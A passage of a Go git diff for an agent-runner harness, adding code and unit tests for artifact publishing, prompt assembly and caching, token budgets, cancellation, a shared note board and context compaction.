arts.Get(latest.Ref); err != nil || string(content) != "crash payload" { + t.Fatalf("orphan blob unreadable: %q, %v", content, err) + } + // …and the journal has NO ArtifactPublished (the fact never landed). + events, err := store.ReadEvents(sessDir) + if err != nil { + t.Fatal(err) + } + for _, e := range events { + if e.Type == event.TypeArtifactPublished { + t.Fatalf("journal has artifact_published despite crashing before the append") + } + } + // The fold is clean: no published stream — orphan, not dangling. + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + if len(fold.Run.Published) != 0 { + t.Fatalf("fold published = %+v, want none", fold.Run.Published) + } +} + +func helperArtifactCrashRun() { + es, err := store.OpenEventStore(os.Getenv("ARTIFACT_CRASH_SESS")) + if err != nil { + os.Exit(1) + } + ws, err := workspace.New(os.Getenv("ARTIFACT_CRASH_WS")) + if err != nil { + os.Exit(1) + } + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "a1", Name: "publish_artifact", + Args: map[string]any{"stream": "report", "content": "crash payload"}}}, + {Finish: "tool_use"}, + }}, + }} + l := &Loop{ + Spec: &AgentSpec{Name: "crash", + Model: ModelSpec{Provider: "scripted", ID: "m", MaxTokens: 100}, + Tools: []string{"read_file", "publish_artifact"}, MaxTurns: 2}, + Provider: scripted.New(fix), + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "crash", + } + _, _ = l.Run(context.Background(), "publish then die") + os.Exit(0) // unreachable when the point fires +} + +// S5.5: children publish into the ROOT's store — refs resolve tree-wide. +func TestArtifactStoreTreeShared(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "publish your report"}}}, + {Finish: "tool_use"}, + }}, + // Child publishes. + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "c1", Name: "publish_artifact", + Args: map[string]any{"stream": "child-report", "content": "from the child"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "published"}, {Finish: "end_turn"}}}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, t.TempDir()) + child := summarizerSpec() + child.Tools = append(child.Tools, "publish_artifact") + l.SubSpecs = staticResolver(map[string]*AgentSpec{"summarizer": child}) + + if _, err := l.Run(context.Background(), "delegate"); err != nil { + t.Fatal(err) + } + // The PARENT's store resolves the child's publication. + latest, ok, err := l.Artifacts.Latest("child-report") + if err != nil || !ok { + t.Fatalf("child publication missing from root store: %v, %v", ok, err) + } + content, err := l.Artifacts.Get(latest.Ref) + if err != nil || string(content) != "from the child" { + t.Fatalf("content = %q, %v", content, err) + } + // The fact is journaled in the CHILD's log (its run published it). + childEvents, err := store.ReadEvents(filepath.Join(l.Store.Dir(), "sub", "s1-a1")) + if err != nil { + t.Fatal(err) + } + saw := false + for _, e := range childEvents { + if e.Type == event.TypeArtifactPublished && strings.Contains(string(e.Payload), "child-report") { + saw = true + } + } + if !saw { + t.Error("child journal missing artifact_published") + } +} diff --git a/internal/agent/assembly.go b/internal/agent/assembly.go new file mode 100644 index 0000000..0c88588 --- /dev/null +++ b/internal/agent/assembly.go @@ -0,0 +1,151 @@ +package agent + +import ( + "fmt" + "log/slog" + "strings" + "time" + + "github.com/ralphite/agentrunner/internal/memory" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/skill" + "github.com/ralphite/agentrunner/internal/state" +) + +// Assemble builds the provider request from the fold — the single place +// fold state becomes a wire request (S4.4a). The assembly order is fixed +// and byte-stable so a cached prefix stays cached (4c): frozen env block → +// spec system prompt → mode-injected suffix (3.6b,收编) → conversation +// transcript. The advertised tool face is filtered by the live mode (3.6a). +func Assemble(s state.State, spec *AgentSpec, toolDefs []provider.ToolDef, turn int) provider.CompleteRequest { + mode := s.CurrentMode() + return provider.CompleteRequest{ + Model: spec.Model.ID, + MaxTokens: spec.Model.MaxTokens, + System: assembleSystem(s.Run, spec.SystemPrompt, mode), + Messages: assembleMessages(s), + Tools: advertisedTools(s, toolDefs, mode), + Turn: turn, + Thinking: provider.ThinkingConfig{ + Enabled: spec.Model.Thinking.Enabled, + BudgetTokens: spec.Model.Thinking.BudgetTokens, + }, + } +} + +// assembleSystem lays out the system prompt in DESIGN's fixed order: env +// block → memory layer (CLAUDE.md merge) → skills directory → agents +// directory → spec prompt → mode suffix. Env, memory, skills, and agents +// were all frozen at session start (S4.4c / S5.2 / S5.3), so the prefix is +// byte-identical every turn; only the mode suffix moves, and only on an +// explicit mode transition (an accepted cache break, decision #10). +func assembleSystem(run state.Run, specPrompt, mode string) string { + var b strings.Builder + for _, block := range []string{run.Env, run.Memory, run.Skills, run.Agents} { + if block != "" { + b.WriteString(block) + b.WriteString("\n\n") + } + } + b.WriteString(specPrompt) + b.WriteString(modePromptSuffix(mode)) + return b.String() +} + +// renderEnvBlock freezes the environment into a stable block at session +// start (S4.4c). Only session-stable facts belong here — cwd and the date; +// per-turn-volatile state (git status) enters as appended messages instead, +// never rewriting this prefix. Git status is deferred until the workspace +// grows a git seam; cwd + date already pin the invariant DESIGN cares about. +func renderEnvBlock(cwd string, now time.Time) string { + if cwd == "" { + return "" + } + return fmt.Sprintf("\ncwd: %s\ndate: %s\n", cwd, now.Format("2006-01-02")) +} + +// renderContextBlocks freezes the memory (CLAUDE.md merge) and skills +// directory blocks at session start (S5.2). Discovery problems degrade to a +// warning — a malformed skill must not block the run. +func renderContextBlocks(wsRoot string) (memoryBlock, skillsBlock string) { + if wsRoot == "" { + return "", "" + } + files, err := memory.Collect(wsRoot) + if err != nil { + slog.Warn("memory discovery failed; continuing without", "err", err) + } + memoryBlock = memory.Render(files, wsRoot) + skills, err := skill.Discover(wsRoot) + if err != nil { + slog.Warn("skill discovery issues; continuing with the well-formed ones", "err", err) + } + skillsBlock = skill.RenderDirectory(skills) + return memoryBlock, skillsBlock +} + +// assembleMessages builds the provider-visible transcript from the fold: +// conversation messages in order, each assistant message's fully resolved +// tool calls followed by one tool message (results by call_id). A turn +// whose tool calls are not all resolved yet is emitted without its tool +// message (the loop only reaches here once results are in). Pinned by +// testdata/request_assembly.golden. +// +// Compaction (S4.5): when a boundary is set, messages[0:Boundary] are +// replaced by a single summary user message — the log keeps every message, +// but the model sees the summary plus everything after the boundary. +func assembleMessages(s state.State) []provider.Message { + msgs := s.Conversation.Messages + var out []provider.Message + if b := s.Compaction.Boundary; b > 0 && b <= len(msgs) { + out = append(out, provider.Message{Role: provider.RoleUser, Parts: []provider.Part{{ + Kind: provider.PartText, + Text: "[conversation summary so far]\n" + s.Compaction.Summary, + }}}) + msgs = msgs[b:] + } + for _, m := range msgs { + out = append(out, m) + if m.Role != provider.RoleAssistant { + continue + } + calls := toolCallsOf(m) + if len(calls) == 0 { + continue + } + toolMsg := provider.Message{Role: provider.RoleTool} + complete := true + for _, c := range calls { + res, ok := s.Conversation.ToolResults[c.CallID] + if !ok { + complete = false + break + } + toolMsg.Parts = append(toolMsg.Parts, provider.Part{ + Kind: provider.PartToolResult, + CallID: c.CallID, + ToolName: c.Name, + Result: res.Result, + IsError: res.IsError, + }) + } + if complete { + out = append(out, toolMsg) + } + } + return out +} + +// advertisedTools filters the tool face by mode (3.6a): what the model +// cannot use, it does not see. Classes resolve through the fold so MCP +// tools (journaled face, S5.1) filter the same way as built-ins. +func advertisedTools(s state.State, defs []provider.ToolDef, mode string) []provider.ToolDef { + out := make([]provider.ToolDef, 0, len(defs)) + for _, d := range defs { + if pipeline.ClassAdvertised(mode, toolClassIn(s, d.Name)) { + out = append(out, d) + } + } + return out +} diff --git a/internal/agent/assembly_test.go b/internal/agent/assembly_test.go new file mode 100644 index 0000000..59e9d1c --- /dev/null +++ b/internal/agent/assembly_test.go @@ -0,0 +1,81 @@ +package agent + +import ( + "encoding/json" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/state" +) + +func assemblySpec() *AgentSpec { + return &AgentSpec{ + Name: "a", Model: ModelSpec{ID: "m", MaxTokens: 100}, + SystemPrompt: "be helpful", + } +} + +// Fixed assembly order: system + mode suffix, filtered face, transcript +// with tool results by call_id. This is the byte-stable prefix (4c). +func TestAssembleOrderAndFace(t *testing.T) { + defs := []provider.ToolDef{{Name: "read_file"}, {Name: "edit_file"}, {Name: "exit_plan_mode"}} + + // Default mode: full prompt, full face. + s := state.New() + req := Assemble(s, assemblySpec(), defs, 1) + if req.System != "be helpful" { + t.Errorf("default system = %q", req.System) + } + if len(req.Tools) != 3 { + t.Errorf("default face = %d tools, want 3", len(req.Tools)) + } + + // Plan mode: suffix injected, edit filtered out. + var err error + if s, err = state.Apply(s, mustEnvOf(t, event.TypeModeChanged, + &event.ModeChanged{To: pipeline.ModePlan, Cause: "startup"})); err != nil { + t.Fatal(err) + } + req = Assemble(s, assemblySpec(), defs, 1) + if !strings.Contains(req.System, "PLAN MODE") { + t.Errorf("plan system missing suffix: %q", req.System) + } + for _, td := range req.Tools { + if td.Name == "edit_file" { + t.Errorf("plan mode advertised edit_file") + } + } +} + +// A resolved tool call becomes a tool message right after its assistant +// message, keyed by call_id. +func TestAssembleToolResults(t *testing.T) { + asst := provider.Message{Role: provider.RoleAssistant, Parts: []provider.Part{ + {Kind: provider.PartToolCall, CallID: "call_1_0", ToolName: "read_file", + Args: json.RawMessage(`{"path":"a"}`)}, + }} + s := state.New() + var err error + for _, e := range []event.Envelope{ + mustEnvOf(t, event.TypeInputReceived, &event.InputReceived{Text: "hi", Source: "cli"}), + mustEnvOf(t, event.TypeAssistantMessage, &event.AssistantMessage{Turn: 1, Message: asst}), + mustEnvOf(t, event.TypeActivityStarted, &event.ActivityStarted{ + ActivityID: "tool-call_1_0", Kind: event.KindTool, Name: "read_file", CallID: "call_1_0"}), + mustEnvOf(t, event.TypeActivityCompleted, &event.ActivityCompleted{ + ActivityID: "tool-call_1_0", Result: json.RawMessage(`{"content":"x"}`)}), + } { + if s, err = state.Apply(s, e); err != nil { + t.Fatal(err) + } + } + msgs := Assemble(s, assemblySpec(), nil, 2).Messages + if len(msgs) != 3 { + t.Fatalf("messages = %d, want user/assistant/tool", len(msgs)) + } + if msgs[2].Role != provider.RoleTool || msgs[2].Parts[0].CallID != "call_1_0" { + t.Errorf("tool message = %+v", msgs[2]) + } +} diff --git a/internal/agent/board.go b/internal/agent/board.go new file mode 100644 index 0000000..e361940 --- /dev/null +++ b/internal/agent/board.go @@ -0,0 +1,47 @@ +package agent + +import ( + "encoding/json" + + "github.com/ralphite/agentrunner/internal/tool" +) + +// runBlackboardTool executes publish_note / read_notes against the +// tree-shared board (S5.4). The publisher identity is the spec name — the +// collaboration-meaningful identity, stable across attempts. Every failure +// here is model-visible; the harness never fails on a blackboard call. +func (l *Loop) runBlackboardTool(name string, rawArgs json.RawMessage) tool.Result { + if l.Board == nil { + return errorResult(name + ": no blackboard available in this run") + } + switch name { + case "publish_note": + var args struct { + Topic string `json:"topic"` + Text string `json:"text"` + } + if err := json.Unmarshal(rawArgs, &args); err != nil || args.Topic == "" || args.Text == "" { + return errorResult("publish_note: invalid args: need {\"topic\", \"text\"}") + } + note := l.Board.Publish(args.Topic, l.Spec.Name, args.Text) + payload, _ := json.Marshal(map[string]any{ + "output": "published", "topic": note.Topic, "seq": note.Seq, + }) + return tool.Result{Payload: payload} + + case "read_notes": + var args struct { + Topic string `json:"topic"` + } + if err := json.Unmarshal(rawArgs, &args); err != nil || args.Topic == "" { + return errorResult("read_notes: invalid args: need {\"topic\"}") + } + payload, _ := json.Marshal(map[string]any{ + "topic": args.Topic, "notes": l.Board.Read(args.Topic), + }) + return tool.Result{Payload: payload} + + default: + return errorResult("unknown blackboard tool " + name) + } +} diff --git a/internal/agent/budget_test.go b/internal/agent/budget_test.go new file mode 100644 index 0000000..3d452c8 --- /dev/null +++ b/internal/agent/budget_test.go @@ -0,0 +1,205 @@ +package agent + +import ( + "context" + "strings" + "sync" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +// 3.7b: reservations enter the fold with the allow resolution and are +// released by the activity's terminal event; usage settles via Run.Usage. +func TestBudgetReserveSettleLifecycle(t *testing.T) { + s := New3_7State(t) + if got := s.Budget.ReservedTotal(); got != 0 { + t.Fatalf("initial reserved = %d", got) + } + var err error + s, err = state.Apply(s, mustEnvOf(t, event.TypeEffectResolved, &event.EffectResolved{ + EffectID: "eff-llm-t1", Verdict: event.VerdictAllow, ReservedTokens: 4096, + })) + if err != nil { + t.Fatal(err) + } + if got := s.Budget.ReservedTotal(); got != 4096 { + t.Fatalf("reserved = %d, want 4096", got) + } + s, err = state.Apply(s, mustEnvOf(t, event.TypeActivityStarted, &event.ActivityStarted{ + ActivityID: "llm-t1", Kind: event.KindLLM, Attempt: 1, + })) + if err != nil { + t.Fatal(err) + } + s, err = state.Apply(s, mustEnvOf(t, event.TypeActivityCompleted, &event.ActivityCompleted{ + ActivityID: "llm-t1", Usage: &usage100, + })) + if err != nil { + t.Fatal(err) + } + if got := s.Budget.ReservedTotal(); got != 0 { + t.Fatalf("reservation not released: %d", got) + } + if got := s.Run.Usage.InputTokens + s.Run.Usage.OutputTokens; got != 100 { + t.Fatalf("settled = %d, want 100", got) + } +} + +// 3.7d TOCTOU (synthetic): two effects adjudicated before either settles — +// the second MUST see the first's reservation. Serialized by a mutex to +// emulate the S4.3 concurrent adjudicators sharing one fold. +func TestBudgetTOCTOUSyntheticConcurrency(t *testing.T) { + gate := &pipeline.BudgetGate{MaxTotalTokens: 1000} + var mu sync.Mutex + reserved := 0 + granted := 0 + + adjudicate := func() { + mu.Lock() // the loop's appendE serialization, in miniature + defer mu.Unlock() + d := gate.Check(context.Background(), pipeline.Effect{ + ID: "eff-x", Kind: "llm_call", EstTokens: 600, + Budget: pipeline.BudgetView{SettledTokens: 0, ReservedTokens: reserved}, + }) + if d.Action == event.VerdictAllow { + reserved += 600 + granted++ + } + } + + var wg sync.WaitGroup + for i := 0; i < 8; i++ { + wg.Add(1) + go func() { defer wg.Done(); adjudicate() }() + } + wg.Wait() + if granted != 1 { + t.Fatalf("granted = %d, want exactly 1 (600+600 > 1000 must not double-commit)", granted) + } +} + +// 3.7c: budget exhaustion ends the run GRACEFULLY — LimitExceeded fact, +// epilogue, run_ended{limit_exceeded} — never a crash or a hard abort. +func TestBudgetGracefulEnding(t *testing.T) { + // Turn 1 spends 900 of a 1000-token budget; turn 2's reservation + // (max_tokens 200) cannot fit. + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {Text: "reading"}, + {ToolCall: &scripted.ToolCallEvent{Name: "read_file", Args: map[string]any{"path": "a.txt"}}}, + {Usage: &scripted.UsageEvent{InputTokens: 500, OutputTokens: 400}}, + {Finish: "tool_use"}, + }}, + }} + l := testLoop(t, fix, t.TempDir()) + l.Spec.Model.MaxTokens = 200 + l.Spec.Budget.MaxTotalTokens = 1000 + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + &pipeline.BudgetGate{MaxTotalTokens: 1000}, + }} + + res, err := l.Run(context.Background(), "read a") + if err != nil { + t.Fatalf("budget ending must be graceful, got error: %v", err) + } + if res.Reason != "limit_exceeded" { + t.Fatalf("res = %+v", res) + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + var sawLimit bool + for _, e := range events { + if e.Type == event.TypeLimitExceeded { + sawLimit = true + if !strings.Contains(string(e.Payload), `"limit":1000`) { + t.Errorf("limit payload = %s", e.Payload) + } + } + } + if !sawLimit { + t.Fatal("limit_exceeded fact missing") + } + if last := events[len(events)-1]; last.Type != event.TypeRunEnded || + !strings.Contains(string(last.Payload), "limit_exceeded") { + t.Fatalf("last event = %s %s", last.Type, last.Payload) + } +} + +// S4.4c: the budget bills input + output − cache_read. A turn whose input +// is mostly a cached prefix must NOT be charged the full input rate, so a +// run that would overflow on raw input+output stays under budget once the +// cache read is discounted. +func TestBudgetBillsCacheReadDiscount(t *testing.T) { + // Raw input+output = 900+200 = 1100 > 1000 budget; but 800 of the input + // is a cache read, so billed = 1100 − 800 = 300. The run completes. + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {Text: "cached hit"}, + {Usage: &scripted.UsageEvent{InputTokens: 900, OutputTokens: 200, CacheReadTokens: 800}}, + {Finish: "end_turn"}, + }}, + }} + l := testLoop(t, fix, t.TempDir()) + l.Spec.Model.MaxTokens = 100 + l.Spec.Budget.MaxTotalTokens = 1000 + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + &pipeline.BudgetGate{MaxTotalTokens: 1000}, + }} + + res, err := l.Run(context.Background(), "hi") + if err != nil { + t.Fatalf("cache-discounted run must complete, got: %v", err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v (raw 1100 would exceed 1000; billed 300 must not)", res) + } + if got := res.Usage.Billed(); got != 300 { + t.Errorf("billed = %d, want 300 (900+200−800)", got) + } +} + +// Billed clamps at zero and never credits the budget. +func TestUsageBilledClamp(t *testing.T) { + u := provider.Usage{InputTokens: 100, OutputTokens: 50, CacheReadTokens: 500} + if got := u.Billed(); got != 0 { + t.Errorf("billed = %d, want 0 (clamped)", got) + } +} + +// Bypass mode: the budget does not bind (3.6d). +func TestBudgetGateBypass(t *testing.T) { + gate := &pipeline.BudgetGate{MaxTotalTokens: 100} + d := gate.Check(context.Background(), pipeline.Effect{ + EstTokens: 10000, Mode: pipeline.ModeBypass, + }) + if d.Action != event.VerdictAllow { + t.Fatalf("bypass must not bind: %+v", d) + } +} + +// helpers + +var usage100 = provider.Usage{InputTokens: 60, OutputTokens: 40} + +func New3_7State(t *testing.T) state.State { + t.Helper() + return state.New() +} + +func mustEnvOf(t *testing.T, typ string, payload any) event.Envelope { + t.Helper() + env, err := event.New(typ, payload) + if err != nil { + t.Fatal(err) + } + return env +} diff --git a/internal/agent/caching_test.go b/internal/agent/caching_test.go new file mode 100644 index 0000000..0766b51 --- /dev/null +++ b/internal/agent/caching_test.go @@ -0,0 +1,83 @@ +package agent + +import ( + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/state" +) + +// S4.4c: renderEnvBlock is deterministic and freezes the date — the same +// inputs render the same bytes, and only the date field reflects the frozen +// clock (never "now"). +func TestRenderEnvBlockDeterministic(t *testing.T) { + at := time.Date(2026, 7, 3, 14, 30, 0, 0, time.UTC) + got := renderEnvBlock("/work/ws", at) + want := "\ncwd: /work/ws\ndate: 2026-07-03\n" + if got != want { + t.Fatalf("env block = %q, want %q", got, want) + } + // A different wall-clock time on the SAME day must not change the block: + // only the date is frozen in, so caching survives intra-day turns. + if later := renderEnvBlock("/work/ws", at.Add(6*time.Hour)); later != got { + t.Errorf("env block drifted within the day: %q vs %q", later, got) + } + if renderEnvBlock("", at) != "" { + t.Errorf("empty cwd must yield no env block") + } +} + +// S4.4c: the cacheable prompt prefix (frozen env block + spec system prompt) +// is BYTE-IDENTICAL across turns as the conversation grows — the invariant +// that makes prompt caching economical. Only appended messages change. +func TestAssemblyPrefixByteStable(t *testing.T) { + spec := &AgentSpec{ + Name: "cache", + Model: ModelSpec{Provider: "scripted", ID: "m", MaxTokens: 100}, + SystemPrompt: "be precise", + Tools: []string{"read_file"}, + } + env := renderEnvBlock("/work/ws", time.Date(2026, 7, 3, 0, 0, 0, 0, time.UTC)) + + s := state.New() + s = mustApply(t, s, event.TypeRunStarted, &event.RunStarted{ + SpecName: spec.Name, Model: spec.Model.ID, Env: env, + SubStateVersions: state.SubStateVersions(), + }) + s = mustApply(t, s, event.TypeInputReceived, &event.InputReceived{Text: "first task", Source: "cli"}) + s = mustApply(t, s, event.TypeTurnStarted, &event.TurnStarted{Turn: 1}) + + req1 := Assemble(s, spec, nil, 1) + + // Grow the conversation by a couple of turns' worth of messages. + s = mustApply(t, s, event.TypeAssistantMessage, &event.AssistantMessage{ + Turn: 1, Message: provider.Message{Role: provider.RoleAssistant, + Parts: []provider.Part{{Kind: provider.PartText, Text: "sure"}}}}) + s = mustApply(t, s, event.TypeTurnStarted, &event.TurnStarted{Turn: 2}) + s = mustApply(t, s, event.TypeInputReceived, &event.InputReceived{Text: "more", Source: "cli"}) + + req2 := Assemble(s, spec, nil, 2) + + if req1.System != req2.System { + t.Fatalf("system prefix drifted across turns:\n t1: %q\n t2: %q", req1.System, req2.System) + } + if !strings.HasPrefix(req1.System, env) { + t.Errorf("env block is not the prefix: %q", req1.System) + } + // The prefix is stable, but the transcript is not — turn 2 sees more. + if len(req2.Messages) <= len(req1.Messages) { + t.Errorf("expected transcript to grow: t1=%d t2=%d", len(req1.Messages), len(req2.Messages)) + } +} + +func mustApply(t *testing.T, s state.State, typ string, payload any) state.State { + t.Helper() + next, err := state.Apply(s, mustEnvOf(t, typ, payload)) + if err != nil { + t.Fatal(err) + } + return next +} diff --git a/internal/agent/cancel_test.go b/internal/agent/cancel_test.go new file mode 100644 index 0000000..40e2d13 --- /dev/null +++ b/internal/agent/cancel_test.go @@ -0,0 +1,80 @@ +package agent + +import ( + "context" + "encoding/json" + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/errs" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider" +) + +// Cancellation from above terminates the activity as ActivityCancelled +// (not Completed/Failed), journaled only after the run drained, carrying +// the partial output. +func TestActivityCancelledCarriesPartialOutput(t *testing.T) { + m := &memAppend{} + x := testExecutor(m) + + ctx, cancel := context.WithCancel(context.Background()) + drained := false + done := make(chan error, 1) + go func() { + done <- x.Do(ctx, Activity{ + ID: "tool-call_1_0", Kind: event.KindTool, Name: "bash", CallID: "call_1_0", + Run: func(ctx context.Context) (json.RawMessage, *provider.Usage, bool, error) { + <-ctx.Done() // simulates bash: kill group, then return partial output + drained = true + return json.RawMessage(`{"stdout":"partial...","canceled":true}`), nil, true, nil + }, + }) + }() + cancel() + err := <-done + if err == nil || errs.ClassOf(err) != errs.Canceled { + t.Fatalf("err = %v (class %s), want canceled", err, errs.ClassOf(err)) + } + if !drained { + t.Fatal("terminal event must wait for the run to drain") + } + want := []string{"activity_started", "activity_cancelled"} + if got := m.types(); !equal(got, want) { + t.Fatalf("events = %v, want %v", got, want) + } + var cancelled event.ActivityCancelled + _ = json.Unmarshal(m.events[1].Payload, &cancelled) + if !strings.Contains(cancelled.PartialOutput, "partial...") { + t.Errorf("partial output lost: %+v", cancelled) + } +} + +// Cancel with an armed timer: the pending timer is cleaned up and the +// terminal is still ActivityCancelled, not a fabricated timeout. +func TestActivityCancelledNotConfusedWithTimeout(t *testing.T) { + m := &memAppend{} + x := testExecutor(m) + + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { + done <- x.Do(ctx, Activity{ + ID: "tool-call_1_0", Kind: event.KindTool, Name: "bash", CallID: "call_1_0", + Timeout: time.Hour, + Run: func(ctx context.Context) (json.RawMessage, *provider.Usage, bool, error) { + <-ctx.Done() + return json.RawMessage(`{"canceled":true}`), nil, true, nil + }, + }) + }() + cancel() + if err := <-done; errs.ClassOf(err) != errs.Canceled { + t.Fatalf("err = %v, want canceled class", err) + } + want := []string{"activity_started", "timer_set", "timer_cancelled", "activity_cancelled"} + if got := m.types(); !equal(got, want) { + t.Fatalf("events = %v, want %v", got, want) + } +} diff --git a/internal/agent/compaction.go b/internal/agent/compaction.go new file mode 100644 index 0000000..0c9e03e --- /dev/null +++ b/internal/agent/compaction.go @@ -0,0 +1,101 @@ +package agent + +import ( + "context" + "encoding/json" + "fmt" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/protocol" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/state" +) + +// compactionSystemPrompt instructs the summarizer. It is harness-owned, not +// the agent's own prompt: compaction is a maintenance call, not a turn. +const compactionSystemPrompt = "You are a context summarizer. Produce a concise but complete " + + "summary of the conversation so far, preserving key facts, decisions, tool results, and any " + + "open threads the assistant must still act on. Write only the summary." + +// estimateContextTokens is a coarse token estimate of the assembled view +// (~4 bytes/token). It is deliberately provider-agnostic and cheap — the +// compaction trigger only needs an order-of-magnitude signal, and basing it +// on the ASSEMBLED (already-compacted) view means a fresh summary shrinks +// the estimate below the threshold, so compaction self-terminates. +func estimateContextTokens(s state.State) int { + bytes := 0 + for _, m := range assembleMessages(s) { + for _, p := range m.Parts { + bytes += len(p.Text) + len(p.Args) + len(p.Result) + } + } + return bytes / 4 +} + +// compactionDue reports whether the loop should compact before the next turn +// (S4.5). It is pure — decided from the fold plus spec — so resume reaches +// the same verdict. The boundary guard ensures each compaction consumes at +// least two new messages, so a run cannot churn compaction turn after turn. +func compactionDue(s state.State, spec *AgentSpec) bool { + limit := spec.Model.CompactAtTokens + if limit <= 0 { + return false + } + if len(s.Conversation.Messages) <= s.Compaction.Boundary+1 { + return false + } + return estimateContextTokens(s) > limit +} + +// compactContext runs the summarizer as a recorded LLM activity and journals +// ContextCompacted (S4.5 / DESIGN §context-assembly: compaction is itself a +// nondeterministic LLM call whose event changes later fold results). It is +// idempotent — re-summarizing on resume is safe — and does NOT pass the +// permission pipeline: it is a harness-internal maintenance call the model +// never directed. Its token usage still settles into the budget. +func (l *Loop) compactContext(ctx context.Context, ds *driveState, appendE AppendFunc, + exec *ActivityExecutor, turn int) error { + + req := provider.CompleteRequest{ + Model: l.Spec.Model.ID, + MaxTokens: l.Spec.Model.MaxTokens, + System: compactionSystemPrompt, + Messages: assembleMessages(ds.s), + Turn: turn, + } + var summary string + err := exec.Do(ctx, Activity{ + ID: compactActivityID(turn), Kind: event.KindLLM, + Name: "compact", Idempotent: true, + Run: func(ctx context.Context) (json.RawMessage, *provider.Usage, bool, error) { + collected, cerr := provider.CollectTurn(l.Provider.Complete(ctx, req)) + if cerr != nil { + return nil, nil, false, cerr + } + summary = assistantText(collected.Message) + u := collected.Usage + return nil, &u, false, nil + }, + }) + if err != nil { + return err + } + + // DroppedTurns is informational: turns wholly behind the new boundary. + dropped := turn - 1 - ds.s.Compaction.UptoTurn + if dropped < 0 { + dropped = 0 + } + if _, err := appendE(event.TypeContextCompacted, &event.ContextCompacted{ + UptoTurn: turn - 1, Summary: summary, DroppedTurns: dropped, + }); err != nil { + return err + } + l.emit(protocol.Event{Kind: protocol.KindDiscard, Turn: turn, + Text: "context compacted"}) + return nil +} + +func compactActivityID(turn int) string { + return fmt.Sprintf("compact-t%d", turn) +} diff --git a/internal/agent/compaction_test.go b/internal/agent/compaction_test.go new file mode 100644 index 0000000..5ad6075 --- /dev/null +++ b/internal/agent/compaction_test.go @@ -0,0 +1,193 @@ +package agent + +import ( + "context" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/state/statetest" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// S4.5: after a ContextCompacted, the assembled view is the summary plus +// everything AFTER the boundary — the pre-boundary messages are gone from +// the model's view, though the log still holds them. +func TestCompactionFoldView(t *testing.T) { + s := state.New() + s = mustApply(t, s, event.TypeRunStarted, &event.RunStarted{SubStateVersions: state.SubStateVersions()}) + s = mustApply(t, s, event.TypeInputReceived, &event.InputReceived{Text: "old question", Source: "cli"}) + s = mustApply(t, s, event.TypeAssistantMessage, &event.AssistantMessage{Turn: 1, + Message: provider.Message{Role: provider.RoleAssistant, + Parts: []provider.Part{{Kind: provider.PartText, Text: "old answer"}}}}) + // Boundary lands here: 2 messages so far. + s = mustApply(t, s, event.TypeContextCompacted, &event.ContextCompacted{ + UptoTurn: 1, Summary: "we discussed the old thing"}) + s = mustApply(t, s, event.TypeInputReceived, &event.InputReceived{Text: "new question", Source: "cli"}) + + if s.Compaction.Boundary != 2 { + t.Fatalf("boundary = %d, want 2", s.Compaction.Boundary) + } + msgs := assembleMessages(s) + // Expect: [summary(user), new question(user)]. + if len(msgs) != 2 { + t.Fatalf("assembled %d messages, want 2: %+v", len(msgs), msgs) + } + if !strings.Contains(msgs[0].Parts[0].Text, "we discussed the old thing") { + t.Errorf("first message is not the summary: %q", msgs[0].Parts[0].Text) + } + joined := msgs[0].Parts[0].Text + msgs[1].Parts[0].Text + if strings.Contains(joined, "old answer") || strings.Contains(joined, "old question") { + t.Errorf("pre-boundary content leaked into view: %+v", msgs) + } + if msgs[1].Parts[0].Text != "new question" { + t.Errorf("post-boundary message wrong: %q", msgs[1].Parts[0].Text) + } +} + +// S4.5: fold equivalence must hold ACROSS the compaction boundary — folding +// the whole log equals folding a snapshot taken mid-log (at or after the +// ContextCompacted) plus the remaining tail. The compacted view is a pure +// function of the events, so where you cut makes no difference. +func TestCompactionFoldEquivalence(t *testing.T) { + events := []struct { + typ string + payload any + }{ + {event.TypeRunStarted, &event.RunStarted{SubStateVersions: state.SubStateVersions()}}, + {event.TypeInputReceived, 